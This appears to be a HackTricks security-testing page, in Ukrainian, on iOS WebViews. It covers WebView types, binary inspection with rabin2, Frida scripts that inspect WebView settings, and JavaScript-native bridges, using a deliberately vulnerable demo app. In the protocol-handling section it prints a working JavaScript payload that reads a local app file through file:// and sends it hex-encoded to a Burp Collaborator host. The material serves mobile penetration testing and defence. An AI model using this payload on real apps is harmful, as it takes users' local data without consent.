iOS WebViews
Reading time: 10 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Код цієї сторінки був витягнутий з here. Перевірте сторінку для отримання додаткових деталей.
Типи WebViews
WebViews використовуються в додатках для інтерактивного відображення веб-контенту. Різні типи WebViews пропонують різні функціональні можливості та функції безпеки для iOS-додатків. Ось короткий огляд:
-
UIWebView, який більше не рекомендується з iOS 12 через відсутність підтримки вимкнення JavaScript, що робить його вразливим до ін'єкцій скриптів та атак Cross-Site Scripting (XSS).
-
WKWebView є переважним варіантом для інтеграції веб-контенту в додатки, пропонуючи покращений контроль над контентом та функціями безпеки. JavaScript увімкнено за замовчуванням, але його можна вимкнути за необхідності. Він також підтримує функції, які запобігають автоматичному відкриттю вікон JavaScript і забезпечують безпечне завантаження всього контенту. Крім того, архітектура WKWebView мінімізує ризик пошкодження пам'яті, що впливає на основний процес додатка.
-
SFSafariViewController пропонує стандартизований досвід веб-серфінгу в додатках, який можна впізнати за його специфічним макетом, включаючи поле адреси тільки для читання, кнопки спільного доступу та навігації, а також пряме посилання для відкриття контенту в Safari. На відміну від WKWebView, JavaScript не можна вимкнути в SFSafariViewController, який також ділиться куками та даними з Safari, зберігаючи конфіденційність користувача від додатка. Він повинен бути чітко відображений відповідно до рекомендацій App Store.
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
WebViews Configuration Exploration Summary
Static Analysis Overview
У процесі вивчення конфігурацій WebViews акцентується на двох основних типах: UIWebView та WKWebView. Для ідентифікації цих WebViews у бінарному файлі використовуються команди, що шукають специфічні посилання на класи та методи ініціалізації.
- UIWebView Identification
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
Ця команда допомагає знаходити екземпляри UIWebView, шукаючи текстові рядки, пов'язані з ним, у бінарному файлі.
- Ідентифікація WKWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
Аналогічно, для WKWebView ця команда шукає в бінарному файлі текстові рядки, що вказують на його використання.
Крім того, щоб дізнатися, як ініціалізується WKWebView, виконується наступна команда, яка націлена на підпис методу, пов'язаний з його ініціалізацією:
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
Перевірка конфігурації JavaScript
Для WKWebView підкреслюється, що вимкнення JavaScript є найкращою практикою, якщо це не потрібно. Скомпільований бінарний файл перевіряється, щоб підтвердити, що властивість javaScriptEnabled
встановлена на false
, що забезпечує вимкнення JavaScript:
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
Тільки перевірка безпечного контенту
WKWebView пропонує можливість виявлення проблем з змішаним контентом, на відміну від UIWebView. Це перевіряється за допомогою властивості hasOnlySecureContent
, щоб забезпечити завантаження всіх ресурсів сторінки через безпечні з'єднання. Пошук у скомпільованому бінарному файлі виконується наступним чином:
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
Інсайти динамічного аналізу
Динамічний аналіз передбачає перевірку купи на наявність екземплярів WebView та їх властивостей. Для цього використовується скрипт з назвою webviews_inspector.js
, який націлений на екземпляри UIWebView
, WKWebView
та SFSafariViewController
. Він реєструє інформацію про знайдені екземпляри, включаючи URL-адреси та налаштування, пов'язані з JavaScript та безпечним контентом.
Перевірку купи можна проводити за допомогою ObjC.choose()
, щоб ідентифікувати екземпляри WebView та перевірити властивості javaScriptEnabled
та hasonlysecurecontent
.
ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})
ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})
Скрипт виконується з:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
Ключові результати:
- Екземпляри WebViews успішно знайдені та перевірені.
- Перевірено налаштування активації JavaScript та безпечного контенту.
Цей підсумок охоплює критичні кроки та команди, що беруть участь в аналізі конфігурацій WebView через статичні та динамічні підходи, зосереджуючи увагу на функціях безпеки, таких як активація JavaScript та виявлення змішаного контенту.
Обробка протоколів WebView
Обробка контенту в WebViews є критично важливим аспектом, особливо при роботі з різними протоколами, такими як http(s)://
, file://
та tel://
. Ці протоколи дозволяють завантажувати як віддалений, так і локальний контент в додатках. Підкреслюється, що при завантаженні локального контенту необхідно вжити заходів, щоб запобігти впливу користувачів на ім'я або шлях файлу та редагуванню самого контенту.
WebViews пропонують різні методи для завантаження контенту. Для UIWebView, який зараз застарів, використовуються методи, такі як loadHTMLString:baseURL:
та loadData:MIMEType:textEncodingName:baseURL:
. WKWebView, з іншого боку, використовує loadHTMLString:baseURL:
, loadData:MIMEType:textEncodingName:baseURL:
та loadRequest:
для веб-контенту. Методи, такі як pathForResource:ofType:
, URLForResource:withExtension:
та init(contentsOf:encoding:)
, зазвичай використовуються для завантаження локальних файлів. Метод loadFileURL:allowingReadAccessToURL:
особливо помітний завдяки своїй здатності завантажувати конкретний URL або каталог у WebView, потенційно відкриваючи чутливі дані, якщо вказано каталог.
Щоб знайти ці методи в вихідному коді або скомпільованому бінарному файлі, можна використовувати команди, подібні до наступних:
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
Щодо доступу до файлів, UIWebView дозволяє його універсально, тоді як WKWebView вводить налаштування allowFileAccessFromFileURLs
та allowUniversalAccessFromFileURLs
для управління доступом з файлових URL, причому обидва за замовчуванням мають значення false.
Приклад скрипта Frida надається для перевірки конфігурацій WKWebView для налаштувань безпеки:
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
Нарешті, приклад JavaScript-пейлоада, спрямованого на ексфільтрацію локальних файлів, демонструє потенційний ризик безпеки, пов'язаний з неправильно налаштованими WebViews. Цей пейлоад кодує вміст файлів у шістнадцятковий формат перед їх передачею на сервер, підкреслюючи важливість суворих заходів безпеки в реалізаціях WebView.
String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)
Native Methods Exposed Through WebViews
Understanding WebView Native Interfaces in iOS
З iOS 7 Apple надала API для зв'язку між JavaScript у WebView та нативними об'єктами Swift або Objective-C. Ця інтеграція в основному здійснюється через два методи:
- JSContext: JavaScript-функція автоматично створюється, коли блок Swift або Objective-C пов'язується з ідентифікатором у
JSContext
. Це дозволяє безперешкодно інтегрувати та взаємодіяти між JavaScript та нативним кодом. - JSExport Protocol: Спадкуючи протокол
JSExport
, нативні властивості, методи екземпляра та методи класу можуть бути відкриті для JavaScript. Це означає, що будь-які зміни, внесені в середовищі JavaScript, відображаються в нативному середовищі, і навпаки. Однак важливо переконатися, що чутливі дані не відкриваються ненавмисно через цей метод.
Accessing JSContext
in Objective-C
В Objective-C JSContext
для UIWebView
можна отримати за допомогою наступного рядка коду:
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
Спілкування з WKWebView
Для WKWebView
прямий доступ до JSContext
недоступний. Натомість використовується передача повідомлень через функцію postMessage
, що дозволяє JavaScript спілкуватися з нативними компонентами. Обробники для цих повідомлень налаштовуються наступним чином, що дозволяє JavaScript безпечно взаємодіяти з нативним додатком:
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
Взаємодія та Тестування
JavaScript може взаємодіяти з рідним шаром, визначаючи обробник повідомлень скрипта. Це дозволяє виконувати операції, такі як виклик рідних функцій з веб-сторінки:
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
Щоб захопити та маніпулювати результатом виклику рідної функції, можна переопределити функцію зворотного виклику в HTML:
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>
Сторона нативного коду обробляє виклик JavaScript, як показано в класі JavaScriptBridgeMessageHandler
, де результат операцій, таких як множення чисел, обробляється і надсилається назад до JavaScript для відображення або подальшої маніпуляції:
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
Налагодження iOS WebViews
(Посібник, оснований на https://blog.vuplex.com/debugging-webviews)
Щоб ефективно налагоджувати веб-контент у iOS webviews, потрібна специфічна налаштування, що включає інструменти розробника Safari, оскільки повідомлення, надіслані до console.log()
, не відображаються в журналах Xcode. Ось спрощений посібник, що підкреслює ключові кроки та вимоги:
-
Підготовка на пристрої iOS: Необхідно активувати Web Inspector Safari на вашому пристрої iOS. Це робиться через Налаштування > Safari > Додатково, і ввімкнення Web Inspector.
-
Підготовка на пристрої macOS: На вашій розробницькій машині macOS потрібно ввімкнути інструменти розробника в Safari. Запустіть Safari, перейдіть до Safari > Налаштування > Додатково, і виберіть опцію Показати меню Розробка.
-
З'єднання та налагодження: Після підключення вашого пристрою iOS до комп'ютера macOS і запуску вашого додатку, використовуйте Safari на вашому пристрої macOS, щоб вибрати webview, який ви хочете налагоджувати. Перейдіть до Розробка в меню Safari, наведіть курсор на ім'я вашого пристрою iOS, щоб побачити список екземплярів webview, і виберіть екземпляр, який ви хочете перевірити. Відкриється нове вікно Web Inspector Safari для цієї мети.
Однак, будьте обережні з обмеженнями:
- Налагодження цим методом вимагає пристрою macOS, оскільки воно залежить від Safari.
- Тільки webviews у додатках, завантажених на ваш пристрій через Xcode, підлягають налагодженню. Webviews у додатках, встановлених через App Store або Apple Configurator, не можуть бути налагоджені таким чином.
Посилання
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
- https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.